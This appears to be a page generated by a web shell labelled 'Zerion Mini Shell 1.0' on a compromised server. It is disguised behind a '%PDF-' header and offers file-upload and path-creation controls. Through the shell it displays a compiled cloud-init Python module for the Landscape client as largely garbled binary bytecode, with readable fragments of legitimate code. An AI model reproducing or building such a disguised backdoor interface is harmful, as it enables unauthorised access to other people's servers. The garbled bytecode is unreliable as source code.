%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/cloudinit/config/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/cloudinit/config/__pycache__/cc_landscape.cpython-312.pyc

�

���f}�
���UdZddlZddlmZddlmZddlmZmZm	Z	ddl
mZddlm
Z
ddlmZdd	lmZd
ZdZdd
dddd�iZddgedgd�Zeed<ej.e�Zdede
dededdf
d�Zd�Zy)z&install and configure landscape client�N)�chain)�	ConfigObj)�subp�
type_utils�util)�Cloud)�Config)�
MetaSchema)�PER_INSTANCEz/etc/landscape/client.confz/etc/default/landscape-client�client�infoz.https://landscape.canonical.com/message-systemz#http://landscape.canonical.com/pingz/var/lib/landscape/client)�	log_level�url�ping_url�	data_path�cc_landscape�ubuntu�	landscape)�id�distros�	frequency�activate_by_schema_keys�meta�name�cfg�cloud�args�returnc
�
�|jdi�}t|t�s.tdj	tj|�����|sy|jjdg�tt|g}tttt|�dj��D��cgc]\}}d|j!dd	���|g��c}}��}	t#j"gd
�dg��t#j"d
dg|z�ycc}}w#t"j$$rZ}	|	j&dk(rt(j+d�n+d|	��}
t-j.t(|
�t|
�|	�Yd}	~	yd}	~	wwxYw)z�
    Basically turn a top level 'landscape' entry with a 'client' dict
    and render it to ConfigObj format under '[client]' section in
    /etc/landscape/client.conf
    rzR'landscape' key existed in config, but not a dictionary type, is a {_type} instead)�_typeNzlandscape-clientrz--�_�-)�landscape-config�--silentz--is-registered�)�rcsr#r$rz&Client already registered to LandscapezFailure registering client:
)�get�
isinstance�dict�RuntimeError�formatr�obj_name�distro�install_packages�LSC_BUILTIN_CFG�LSC_CLIENT_CFG_FILE�listr�sorted�merge_together�items�replacer�ProcessExecutionError�	exit_code�LOG�warningr�logexc)rrrr�ls_cloudcfg�
merge_data�k�v�
cmd_params�e�msgs           �?/usr/lib/python3/dist-packages/cloudinit/config/cc_landscape.py�handlerC-sp���'�'�+�r�*�K��k�D�*��
$�$*�F� �)�)�+�6�%+�%�
�	
���	�L�L�!�!�#5�"6�7�	����J��
�#�"�:�.�x�8�>�>�@����A�q��a�i�i��S�)�*�+�Q�/��	
�	�J�	+��	�	�E�A�3�O��	�	�%�z�2�Z�?�@�����%�%�+��;�;�!���K�K�@�A�1�!��5�C��K�K��S�!��s�#��*�	
B��+�s�/!D�4D�F�(AE=�=Fc��ti�}|D]A}|s�t|t�r|j|��(|jt|���C|S)zu
    merge together ConfigObj objects or things that ConfigObj() will take in
    later entries override earlier
    )rr(�merge)�objsr�objs   rBr3r3^sN��
�B�-�C��&�����c�9�%��I�I�c�N��I�I�i��n�%�
&��J�)�__doc__�logging�	itertoolsr�	configobjr�	cloudinitrrr�cloudinit.cloudr�cloudinit.configr	�cloudinit.config.schemar
�cloudinit.settingsrr0�LS_DEFAULT_FILEr/r�__annotations__�	getLogger�__name__r8�strr1rCr3�rHrB�<module>rXs���-����,�,�!�#�.�+�2��1��
��?�9�0�	�����z�� +�}�	��j���g����!��.+��.+�6�.+�%�.+�t�.+��.+�b
rH

Zerion Mini Shell 1.0